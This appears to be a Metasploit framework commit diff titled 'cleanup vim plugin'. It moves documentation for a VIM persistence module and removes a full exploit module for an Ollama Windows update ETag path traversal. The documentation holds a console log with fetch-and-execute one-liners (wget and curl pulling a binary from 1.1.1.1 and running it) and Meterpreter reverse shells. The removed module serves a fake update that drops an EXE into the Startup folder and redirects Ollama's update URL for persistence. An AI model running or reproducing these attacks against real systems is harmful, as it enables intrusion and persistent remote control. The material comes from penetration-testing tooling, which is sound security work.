cleanup vim plugin
This commit is contained in:
@@ -1,99 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module creates a VIM Plugin which executes a payload on VIM startup.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application if needed
|
||||
2. Start msfconsole
|
||||
3. Get a shell on a linux computer with vim installed
|
||||
4. Do: `use exploit/linux/persistence/vim_persistence`
|
||||
5. Do: `run`
|
||||
6. Start `vim` on the remote computer
|
||||
7. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### NAME
|
||||
|
||||
Name of the extension. Defaults to random.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### vim 9.1.2141 on Kali 2026.1
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
|
||||
srvport => 8082
|
||||
resource (/root/.msf4/msfconsole.rc)> set uripath l
|
||||
uripath => l
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4446
|
||||
lport => 4446
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4446
|
||||
[*] Using URL: http://1.1.1.1:8082/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
|
||||
msf exploit(multi/script/web_delivery) >
|
||||
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
|
||||
|
||||
msf exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die
|
||||
meterpreter > sysinfo
|
||||
Computer : h00die-kali
|
||||
OS : Debian (Linux 6.18.12+kali-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(linux/persistence/vim_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/persistence/vim_persistence) > exploit
|
||||
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
|
||||
[!] The service is running, but could not be validated. VIM is installed
|
||||
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
|
||||
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
|
||||
```
|
||||
|
||||
Open vim
|
||||
|
||||
```
|
||||
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
|
||||
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
|
||||
```
|
||||
@@ -0,0 +1,99 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module creates a VIM Plugin which executes a payload on VIM startup.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application if needed
|
||||
2. Start msfconsole
|
||||
3. Get a shell on a linux computer with vim installed
|
||||
4. Do: `use exploit/linux/persistence/vim_persistence`
|
||||
5. Do: `run`
|
||||
6. Start `vim` on the remote computer
|
||||
7. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### NAME
|
||||
|
||||
Name of the extension. Defaults to random.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### vim 9.1.2141 on Kali 2026.1
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
|
||||
srvport => 8082
|
||||
resource (/root/.msf4/msfconsole.rc)> set uripath l
|
||||
uripath => l
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4446
|
||||
lport => 4446
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4446
|
||||
[*] Using URL: http://1.1.1.1:8082/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
|
||||
msf exploit(multi/script/web_delivery) >
|
||||
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
|
||||
|
||||
msf exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die
|
||||
meterpreter > sysinfo
|
||||
Computer : h00die-kali
|
||||
OS : Debian (Linux 6.18.12+kali-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(linux/persistence/vim_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/persistence/vim_persistence) > exploit
|
||||
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
|
||||
[!] The service is running, but could not be validated. VIM is installed
|
||||
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
|
||||
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
|
||||
```
|
||||
|
||||
Open vim
|
||||
|
||||
```
|
||||
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
|
||||
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
|
||||
```
|
||||
|
||||
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
unless directory?(lisp_dir)
|
||||
cmd_exec("#{lisp_dir}", cleanup: false)
|
||||
mkdir(lisp_dir, cleanup: false)
|
||||
@clean_up_rc << "rmdir #{lisp_dir}\n"
|
||||
end
|
||||
|
||||
|
||||
@@ -1,211 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Local::Persistence
|
||||
include Msf::Exploit::EXE
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
# ETag value that Ollama's updater resolves relative to its temp download dir
|
||||
# (%LOCALAPPDATA%\Temp\<dir>\). Three levels up reaches %APPDATA%\.
|
||||
ETAG_STARTUP = '"../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup"'
|
||||
|
||||
# Six levels up from the same base dir reaches the filesystem root (C:\),
|
||||
# then descend into the hosts file. Requires admin/elevated Ollama process.
|
||||
ETAG_HOSTS = '"../../../../../../Windows/System32/drivers/etc/hosts"'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ollama Update ETag Path Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a path traversal vulnerability in Ollama's Windows
|
||||
update mechanism between 0.12.10 through 0.22.0. When Ollama checks for
|
||||
and downloads an update, the
|
||||
destination path is derived from the server-supplied ETag response header
|
||||
without sanitization. An attacker positioned to intercept or spoof Ollama's
|
||||
update server (e.g. via DNS spoofing or ARP poisoning) can supply a
|
||||
traversal ETag to write an arbitrary file anywhere the Ollama process has
|
||||
write access. Two targets are provided: Startup EXE drops a payload into
|
||||
the per-user Startup folder for persistence on next login (standard user);
|
||||
Hosts File overwrites C:\Windows\System32\drivers\etc\hosts to poison DNS
|
||||
resolution (requires admin/elevated Ollama). The current Ollama version is
|
||||
extracted from the incoming update request via User-Agent or query param.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'Bartłomiej Dmitruk' # disclosure and PoC
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2026-42248'],
|
||||
['CVE', '2026-42249'],
|
||||
['URL', 'https://www.striga.ai/research/ollama-windows-auto-update-rce'],
|
||||
['URL', 'https://github.com/ollama/ollama']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows x64 - Startup EXE',
|
||||
{
|
||||
'Arch' => ARCH_X64,
|
||||
'ETag' => ETAG_STARTUP,
|
||||
'Type' => :exe
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows x86 - Startup EXE',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'ETag' => ETAG_STARTUP,
|
||||
'Type' => :exe
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-04-29',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [true, 'The local port to listen on', 8080]),
|
||||
OptString.new('URIPATH', [true, 'The URI path', '/']),
|
||||
OptString.new('FILENAME', [true, 'Payload Filename', 'OllamaSetup.exe']),
|
||||
# OptString.new('HOSTS_ENTRY', [false, 'Hosts file entry to inject (e.g. "1.2.3.4 example.com")', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
output = cmd_exec('ollama --version')
|
||||
# output: "ollama version is 0.23.1"
|
||||
version = output.match(/ollama version is (\d+\.\d+\.\d+)/i)&.captures&.first
|
||||
if version.nil?
|
||||
# match on client version, hopefully close enough
|
||||
version = output.match(/client version is (\d+\.\d+\.\d+)/i)&.captures&.first
|
||||
end
|
||||
|
||||
return CheckCode::Unknown('Could not determine Ollama version') unless version
|
||||
|
||||
vprint_status("Detected Ollama version: #{version}")
|
||||
|
||||
if Rex::Version.new(version) < Rex::Version.new('0.23.2') # this is artificial as it is believed to not be patched yet
|
||||
return CheckCode::Appears("Ollama #{version} is vulnerable")
|
||||
end
|
||||
|
||||
CheckCode::Safe("Ollama #{version} is not vulnerable")
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri.include?('/api/update')
|
||||
handle_update_check(cli, request)
|
||||
elsif request.uri.include?('/download/')
|
||||
handle_download(cli, request)
|
||||
else
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
def extract_version(request)
|
||||
# Ollama's updater sends version as a query param and/or in the User-Agent.
|
||||
# Query param takes precedence as it is always present and unambiguous.
|
||||
ver = request.qstring['version']
|
||||
return ver if ver && !ver.empty?
|
||||
|
||||
ua = request.headers['User-Agent'] || ''
|
||||
# Match "ollama/X.Y.Z" anywhere in the UA string.
|
||||
m = ua.match(%r{ollama/(\S+)}i)
|
||||
m ? m[1] : nil
|
||||
end
|
||||
|
||||
def handle_update_check(cli, request)
|
||||
proto = datastore['SSL'] ? 'https' : 'http'
|
||||
host = request.headers['Host'] || "#{srvhost}:#{datastore['SRVPORT']}"
|
||||
|
||||
ver = extract_version(request)
|
||||
if ver
|
||||
print_good("#{cli.peerhost} - Detected Ollama version: #{ver}")
|
||||
report_note(
|
||||
host: cli.peerhost,
|
||||
type: 'ollama.version',
|
||||
data: ver,
|
||||
update: :unique_data
|
||||
)
|
||||
else
|
||||
print_status("#{cli.peerhost} - Could not determine Ollama version from request")
|
||||
end
|
||||
|
||||
body = JSON.generate({
|
||||
'url' => "#{proto}://#{host}/download/#{datastore['FILENAME']}",
|
||||
'version' => '999.0.0'
|
||||
})
|
||||
|
||||
print_status("#{cli.peerhost} - Sending fake update response → /download/#{datastore['FILENAME']}")
|
||||
|
||||
send_response(cli, body, {
|
||||
'Content-Type' => 'application/json',
|
||||
'Content-Length' => body.bytesize.to_s
|
||||
})
|
||||
end
|
||||
|
||||
def handle_download(cli, request)
|
||||
etag = target['ETag']
|
||||
headers = {
|
||||
'ETag' => etag,
|
||||
'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\""
|
||||
}
|
||||
|
||||
if request.method.eql?('HEAD')
|
||||
print_status("#{cli.peerhost} - HEAD /download/ — sending path traversal ETag")
|
||||
send_response(cli, '', headers)
|
||||
return
|
||||
end
|
||||
|
||||
serve_exe_payload(cli, headers)
|
||||
end
|
||||
|
||||
def serve_exe_payload(cli, headers)
|
||||
pload = generate_payload_exe
|
||||
print_status("#{cli.peerhost} - GET /download/ — sending EXE payload (Startup folder)")
|
||||
|
||||
headers['Content-Type'] = 'application/octet-stream'
|
||||
headers['Content-Length'] = pload.bytesize.to_s
|
||||
|
||||
send_response(cli, pload, headers)
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
serv_url = "http#{'s' if datastore['SSL']}://#{srvhost}:#{datastore['SRVPORT']}"
|
||||
if session.type == 'meterpreter'
|
||||
update_url = session.sys.config.getenv('OLLAMA_UPDATE_URL')
|
||||
else
|
||||
update_url = cmd_exec('echo %OLLAMA_UPDATE_URL%').strip
|
||||
end
|
||||
if update_url.nil? || update_url.empty?
|
||||
vprint_status('No existing OLLAMA_UPDATE_URL found')
|
||||
@clean_up_rc << 'setx OLLAMA_UPDATE_URL ""'
|
||||
else
|
||||
vprint_status("Detected OLLAMA_UPDATE_URL as: #{update_url}")
|
||||
@clean_up_rc << "setx OLLAMA_UPDATE_URL \"#{update_url}\""
|
||||
end
|
||||
puts cmd_exec("setx OLLAMA_UPDATE_URL \"#{serv_url}\"")
|
||||
print_good("Ollama update URL set to #{serv_url} for persistence. It can be reverted with: setx OLLAMA_UPDATE_URL \"#{update_url}\"")
|
||||
puts session.sys.config.getenv('OLLAMA_UPDATE_URL')
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user